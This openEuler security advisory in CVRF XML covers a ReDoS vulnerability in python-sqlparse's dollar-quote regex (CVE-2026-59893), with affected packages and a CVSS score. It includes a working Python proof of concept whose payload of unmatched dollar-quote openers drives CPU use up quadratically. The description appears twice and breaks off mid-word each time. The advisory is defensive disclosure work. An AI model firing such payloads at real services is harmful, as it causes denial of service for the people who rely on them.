<?xml version="1.0" encoding="UTF-8"?>
<cvrfdoc xmlns="http://www.icasi.org/CVRF/schema/cvrf/1.1" xmlns:cvrf="http://www.icasi.org/CVRF/schema/cvrf/1.1">
	<DocumentTitle xml:lang="en">An update for python-sqlparse is now available for openEuler-22.03-LTS-SP4,openEuler-24.03-LTS-SP1,openEuler-24.03-LTS-SP3,openEuler-24.03-LTS-SP4,openEuler-20.03-LTS-SP4</DocumentTitle>
	<DocumentType>Security Advisory</DocumentType>
	<DocumentPublisher Type="Vendor">
		<ContactDetails>openeuler-security@openeuler.org</ContactDetails>
		<IssuingAuthority>openEuler security committee</IssuingAuthority>
	</DocumentPublisher>
	<DocumentTracking>
		<Identification>
			<ID>openEuler-SA-2026-3547</ID>
		</Identification>
		<Status>Final</Status>
		<Version>1.0</Version>
		<RevisionHistory>
			<Revision>
				<Number>1.0</Number>
				<Date>2026-08-30</Date>
				<Description>Initial</Description>
			</Revision>
		</RevisionHistory>
		<InitialReleaseDate>2026-08-30</InitialReleaseDate>
		<CurrentReleaseDate>2026-08-30</CurrentReleaseDate>
		<Generator>
			<Engine>openEuler SA Tool V1.0</Engine>
			<Date>2026-08-30</Date>
		</Generator>
	</DocumentTracking>
	<DocumentNotes>
		<Note Title="Synopsis" Type="General" Ordinal="1" xml:lang="en">python-sqlparse security update</Note>
		<Note Title="Summary" Type="General" Ordinal="2" xml:lang="en">An update for python-sqlparse is now available for openEuler-22.03-LTS-SP4,openEuler-24.03-LTS-SP1,openEuler-24.03-LTS-SP3,openEuler-24.03-LTS-SP4,openEuler-20.03-LTS-SP4</Note>
		<Note Title="Description" Type="General" Ordinal="3" xml:lang="en">A non-validating SQL parser.

Security Fix(es):

### Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\1`) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

**Scope note:** the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see &quot;Additional affected pattern: multiline comments&quot; below.

### Details

The vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:

```python
# sqlparse/keywords.py:33
(r&apos;((?&lt;![\w\&quot;\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1&apos;, tokens.Literal),
```

This pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\s\S]*?`) up to the same delimiter again via backreference `\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):

```python
# sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)
```

The data flow from public API to the vulnerable sink is:

1. `sqlparse/__init__.py:20` — `parse(sql)` accepts caller-controlled SQL.
2. `sqlparse/__init__.py:29` — delegates to `parsestream(sql, encoding)`.
3. `sqlparse/__init__.py:43` — `FilterStack.run(stream, encoding)` is invoked.
4. `sqlparse/engine/filter_stack.py:31` — `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.
5. `sqlparse/lexer.py:137` — every regex in `_SQL_REGEX` is tried at the current position.
6. `sqlparse/keywords.py:33` — the backreference regex performs repeated delimiter searches.

The `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

| Input (N unique openers) | Bytes  | Elapsed  |
|--------------------------|--------|----------|
| 250                      | 1,889  | 0.066 s  |
| 500                      | 3,889  | 0.144 s  |
| 1,000                    | 7,889  | 0.397 s  |
| 2,000                    | 16,889 | 1.314 s  |

The timing ratio from n=1000 to n=2000 is **3.31×** (input doubled → time tripled), confirming O(n²) growth.

### PoC

**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).

**Using Docker (isolated reproduction):**

```bash
# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

# Run with no network access
docker run --rm --network=none sqlparse-vuln001
```

**Direct Python reproduction:**

```python
import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -&gt; str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return &quot; &quot;.join(f&quot;$a{i}$x&quot; for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = &quot;ok&quot;
    except SQLParseError as e:
        status = f&quot;SQLParseError: {e}&quot;
    elapsed = time.perf_counter() - t0
    print(f&quot;n={n:&gt;5}  bytes={len(payload):&gt;7}  elapsed={elapsed:.3f}s  status={status}&quot;)
```

**E(CVE-2026-59893)</Note>
		<Note Title="Topic" Type="General" Ordinal="4" xml:lang="en">An update for python-sqlparse is now available for openEuler-22.03-LTS-SP4,openEuler-24.03-LTS-SP1,openEuler-24.03-LTS-SP3,openEuler-24.03-LTS-SP4,openEuler-20.03-LTS-SP4.

openEuler Security has rated this update as having a security impact of high. A Common Vunlnerability Scoring System(CVSS)base score,which gives a detailed severity rating, is available for each vulnerability from the CVElink(s) in the References section.</Note>
		<Note Title="Severity" Type="General" Ordinal="5" xml:lang="en">High</Note>
		<Note Title="Affected Component" Type="General" Ordinal="6" xml:lang="en">python-sqlparse</Note>
	</DocumentNotes>
	<DocumentReferences>
		<Reference Type="Self">
			<URL>https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3547</URL>
		</Reference>
		<Reference Type="openEuler CVE">
			<URL>https://www.openeuler.org/en/security/cve/detail/?cveId=CVE-2026-59893</URL>
		</Reference>
		<Reference Type="Other">
			<URL>https://nvd.nist.gov/vuln/detail/CVE-2026-59893</URL>
		</Reference>
	</DocumentReferences>
	<ProductTree xmlns="http://www.icasi.org/CVRF/schema/prod/1.1">
		<Branch Type="Product Name" Name="openEuler">
			<FullProductName ProductID="openEuler-22.03-LTS-SP4" CPE="cpe:/a:openEuler:openEuler:22.03-LTS-SP4">openEuler-22.03-LTS-SP4</FullProductName>
			<FullProductName ProductID="openEuler-24.03-LTS-SP1" CPE="cpe:/a:openEuler:openEuler:24.03-LTS-SP1">openEuler-24.03-LTS-SP1</FullProductName>
			<FullProductName ProductID="openEuler-24.03-LTS-SP3" CPE="cpe:/a:openEuler:openEuler:24.03-LTS-SP3">openEuler-24.03-LTS-SP3</FullProductName>
			<FullProductName ProductID="openEuler-24.03-LTS-SP4" CPE="cpe:/a:openEuler:openEuler:24.03-LTS-SP4">openEuler-24.03-LTS-SP4</FullProductName>
			<FullProductName ProductID="openEuler-20.03-LTS-SP4" CPE="cpe:/a:openEuler:openEuler:20.03-LTS-SP4">openEuler-20.03-LTS-SP4</FullProductName>
		</Branch>
		<Branch Type="Package Arch" Name="src">
			<FullProductName ProductID="python-sqlparse-0.4.2-4" CPE="cpe:/a:openEuler:openEuler:22.03-LTS-SP4" EPOL="true">python-sqlparse-0.4.2-4.oe2203sp4.src.rpm</FullProductName>
			<FullProductName ProductID="python-sqlparse-0.4.4-3" CPE="cpe:/a:openEuler:openEuler:24.03-LTS-SP1" EPOL="true">python-sqlparse-0.4.4-3.oe2403sp1.src.rpm</FullProductName>
			<FullProductName ProductID="python-sqlparse-0.6.0-1" CPE="cpe:/a:openEuler:openEuler:24.03-LTS-SP3" EPOL="true">python-sqlparse-0.6.0-1.oe2403sp3.src.rpm</FullProductName>
			<FullProductName ProductID="python-sqlparse-0.6.0-1" CPE="cpe:/a:openEuler:openEuler:24.03-LTS-SP4" EPOL="true">python-sqlparse-0.6.0-1.oe2403sp4.src.rpm</FullProductName>
			<FullProductName ProductID="python-sqlparse-0.3.1-4" CPE="cpe:/a:openEuler:openEuler:20.03-LTS-SP4" EPOL="true">python-sqlparse-0.3.1-4.oe2003sp4.src.rpm</FullProductName>
		</Branch>
		<Branch Type="Package Arch" Name="noarch">
			<FullProductName ProductID="python-sqlparse-help-0.4.2-4" CPE="cpe:/a:openEuler:openEuler:22.03-LTS-SP4" EPOL="true">python-sqlparse-help-0.4.2-4.oe2203sp4.noarch.rpm</FullProductName>
			<FullProductName ProductID="python3-sqlparse-0.4.2-4" CPE="cpe:/a:openEuler:openEuler:22.03-LTS-SP4" EPOL="true">python3-sqlparse-0.4.2-4.oe2203sp4.noarch.rpm</FullProductName>
			<FullProductName ProductID="python3-sqlparse-0.4.4-3" CPE="cpe:/a:openEuler:openEuler:24.03-LTS-SP1" EPOL="true">python3-sqlparse-0.4.4-3.oe2403sp1.noarch.rpm</FullProductName>
			<FullProductName ProductID="python3-sqlparse-0.6.0-1" CPE="cpe:/a:openEuler:openEuler:24.03-LTS-SP3" EPOL="true">python3-sqlparse-0.6.0-1.oe2403sp3.noarch.rpm</FullProductName>
			<FullProductName ProductID="python3-sqlparse-0.6.0-1" CPE="cpe:/a:openEuler:openEuler:24.03-LTS-SP4" EPOL="true">python3-sqlparse-0.6.0-1.oe2403sp4.noarch.rpm</FullProductName>
			<FullProductName ProductID="python-sqlparse-help-0.3.1-4" CPE="cpe:/a:openEuler:openEuler:20.03-LTS-SP4" EPOL="true">python-sqlparse-help-0.3.1-4.oe2003sp4.noarch.rpm</FullProductName>
			<FullProductName ProductID="python3-sqlparse-0.3.1-4" CPE="cpe:/a:openEuler:openEuler:20.03-LTS-SP4" EPOL="true">python3-sqlparse-0.3.1-4.oe2003sp4.noarch.rpm</FullProductName>
		</Branch>
	</ProductTree>
	<Vulnerability Ordinal="1" xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1">
		<Notes>
			<Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">### Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\1`) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

**Scope note:** the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see &quot;Additional affected pattern: multiline comments&quot; below.

### Details

The vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:

```python
# sqlparse/keywords.py:33
(r&apos;((?&lt;![\w\&quot;\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1&apos;, tokens.Literal),
```

This pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\s\S]*?`) up to the same delimiter again via backreference `\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):

```python
# sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)
```

The data flow from public API to the vulnerable sink is:

1. `sqlparse/__init__.py:20` — `parse(sql)` accepts caller-controlled SQL.
2. `sqlparse/__init__.py:29` — delegates to `parsestream(sql, encoding)`.
3. `sqlparse/__init__.py:43` — `FilterStack.run(stream, encoding)` is invoked.
4. `sqlparse/engine/filter_stack.py:31` — `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.
5. `sqlparse/lexer.py:137` — every regex in `_SQL_REGEX` is tried at the current position.
6. `sqlparse/keywords.py:33` — the backreference regex performs repeated delimiter searches.

The `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

| Input (N unique openers) | Bytes  | Elapsed  |
|--------------------------|--------|----------|
| 250                      | 1,889  | 0.066 s  |
| 500                      | 3,889  | 0.144 s  |
| 1,000                    | 7,889  | 0.397 s  |
| 2,000                    | 16,889 | 1.314 s  |

The timing ratio from n=1000 to n=2000 is **3.31×** (input doubled → time tripled), confirming O(n²) growth.

### PoC

**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).

**Using Docker (isolated reproduction):**

```bash
# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

# Run with no network access
docker run --rm --network=none sqlparse-vuln001
```

**Direct Python reproduction:**

```python
import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -&gt; str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return &quot; &quot;.join(f&quot;$a{i}$x&quot; for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = &quot;ok&quot;
    except SQLParseError as e:
        status = f&quot;SQLParseError: {e}&quot;
    elapsed = time.perf_counter() - t0
    print(f&quot;n={n:&gt;5}  bytes={len(payload):&gt;7}  elapsed={elapsed:.3f}s  status={status}&quot;)
```

**E</Note>
		</Notes>
		<ReleaseDate>2026-08-30</ReleaseDate>
		<CVE>CVE-2026-59893</CVE>
		<ProductStatuses>
			<Status Type="Fixed">
				<ProductID>openEuler-22.03-LTS-SP4</ProductID>
				<ProductID>openEuler-24.03-LTS-SP1</ProductID>
				<ProductID>openEuler-24.03-LTS-SP3</ProductID>
				<ProductID>openEuler-24.03-LTS-SP4</ProductID>
				<ProductID>openEuler-20.03-LTS-SP4</ProductID>
			</Status>
		</ProductStatuses>
		<Threats>
			<Threat Type="Impact">
				<Description>High</Description>
			</Threat>
		</Threats>
		<CVSSScoreSets>
			<ScoreSet>
				<BaseScore>7.5</BaseScore>
				<Vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</Vector>
			</ScoreSet>
		</CVSSScoreSets>
		<Remediations>
			<Remediation Type="Vendor Fix">
				<Description>python-sqlparse security update</Description>
				<DATE>2026-08-30</DATE>
				<URL>https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3547</URL>
			</Remediation>
		</Remediations>
	</Vulnerability>
</cvrfdoc>